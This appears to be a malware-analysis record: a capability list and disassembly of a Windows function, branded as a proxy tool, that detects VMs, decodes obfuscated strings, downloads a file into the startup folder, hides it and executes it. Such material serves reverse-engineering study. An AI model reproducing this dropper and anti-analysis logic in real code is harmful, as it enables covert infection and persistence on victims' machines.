Function at 0x140004270
Capabilities:
Check if file exists
Create process on windows
Download url
Execute command
Get common file path
Get file attributes
Get startup folder
Receive data
Set console window title
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x440
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor r13d, r13d
lea rcx, str.XPLOR_Revamp___v2.0
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rdx, str.Setting_up..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003670
call fcn.140001650
test eax, eax
je 0x1400042fd
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Your_CPU_is_blacklisted__if_you_arent_a_bot__make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001980
test eax, eax
je 0x14000432e
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.get_off_ur_vm_lmfao
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rax, 0xffe48a10a21a45f7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x7c86cd2a34326457
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x6e97b284a49ef2f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x47df0056a6c0221e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xe63c4bf4cc742141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x17f5fade7f46f7d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x2b7943900a3c6643
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xe79c260fd4b9b78c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xb4a72a71a487485f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xbef86f8e75eaf89b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xcec22af3dc7ffb6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xe57499f7cc809493
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x7532e96eb4fb4cda
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xcf9d7f3bb54e1b73
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xdbf99d4a71effc75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xbfd6fb4019aaaa14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0xb32a9c75f2e4521f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xf5c3310c75963004
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x9fc56e284fe36114
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xabdca258ad2f482b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x76916cd1932db857
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xaae1b44cd855226c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xdd0020b7c5508a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x2e05ea82ac8896ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x2ddb20ea48bb4212
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rcx, 0xefbc2aed86f8b63c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs r12, 0xff948a64a26e459f
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs r15, 0x7ca9cd0534086424
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs r14, 0x6eb9b2eaa4f7f291
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rsi, 0x47ba003ba6af2276
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rdi, 0xe64f4b80cc1b2123
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rbx, 0x17dafab17f2ff7f8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x2b1a43a60a136625
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xe7a82637d4dbb7ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xb4c52a5ca4be4867
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xbed56fbd75d3f8ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xcea42ac2dc1afb59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xe5169993cce294be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x7557e958b4d64ceb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xcfa57f09b52d1b40
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xdbc89d7e71dcfc4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xbfeffb6f199faa22
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xb3189c14f2d2522f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xf5ee313575ae3034
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x9fa06e1a4fd16121
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xabeda26bad1b4806
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x76f06cb09300b833
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xaa82b461d8662208
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xdd6120d6c5368a35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x2e60eae7acb996ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x2ddb208c488e4277
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqa xmm0, xmmword [rbp + 0x260]
vxorps xmm0, xmm0, xmmword [rbp + 0x140]
vmovdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x48]
vzeroupper
call fcn.1400033b0
nop
movabs rax, 0xfffd8a16a20a45c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x7cf6cd77346d6452
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x6ed8b28ea487f2e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x47940049a6ca2202
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xe64f4bf4cc7a2141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
vzeroupper
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [0x14000792c]
lea rdx, [rbp + 0x1a0]
test eax, eax
cmovne rdx, rcx
lea rcx, [rbp + 8]
call fcn.1400033b0
nop
lea rax, [rbp + 0x80]
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004a60
mov rsi, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
sub rax, rsi
cmp rbx, rax
ja 0x140004ab5
lea rax, [rbx + rsi]
mov qword [rbp + 0x18], rax
lea rdi, [rbp + 8]
cmp rcx, 7
cmova rdi, qword [rbp + 8]
lea rcx, [rdi + rsi*2]
lea r8, [rbx + rbx]
lea rdx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + rbx]
mov word [rdi + rax*2], r13w
lea rax, [rbp + 8]
jmp 0x140004acd
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x80]
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140004da0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140004b3e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400050dc
movdqa xmm0, xmmword [0x140007cb0]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r13w
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova r8, qword [rbp + 0x28]
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova rdx, qword [rbp + 0x48]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140004c7c
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004c73
or eax, 6
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rcx, qword [rbp + 0x28]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x140004c73
mov dword [rbp + 0x80], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
mov dword [rbp + 0xbc], 1
mov word [rbp + 0xc0], r13w
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 7
cmova rdx, qword [rbp + 0x28]
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140004c8f
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004c8f
lea rdx, str.Loading_proxies_failed
jmp 0x140004c83
lea rdx, str.Getting_proxies_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003670
lea rcx, [0x140007964]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._ndP____dP__________dP_______________________888888ba_________________________________________________nY8.__.8P__________88_______________________88_____8b________________________________________________n_Y8aa8P__88d888b._88_.d8888b._88d888b.____a88aaaa8P_.d8888b._dP___.dP_.d8888b._88d8b.d8b._88d888b._nd8___8b_88___88_88_88___88_88___88_____88____8b._88ooood8_88___d8_88___88_88_88_88_88___88_n88____88_88.__.88_88_88.__.88_88___________88_____88_88.__..._88_.88__88.__.88_88__88__88_88.__.88_ndP____dP_88Y888P_dP__88888P_dP___________dP_____dP__88888P_8888P____88888P8_dP__dP__dP_88Y888P_n_________88________________________________________________________________________________88_______n_________dP________________________________________________________________________________dP_______n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003670
lea rdx, str.___________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003670
call fcn.140003240
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140004d0b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400050dc
movdqa xmm0, xmmword [0x140007cb0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x140004d60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400050dc
xor eax, eax
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140004fb0
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret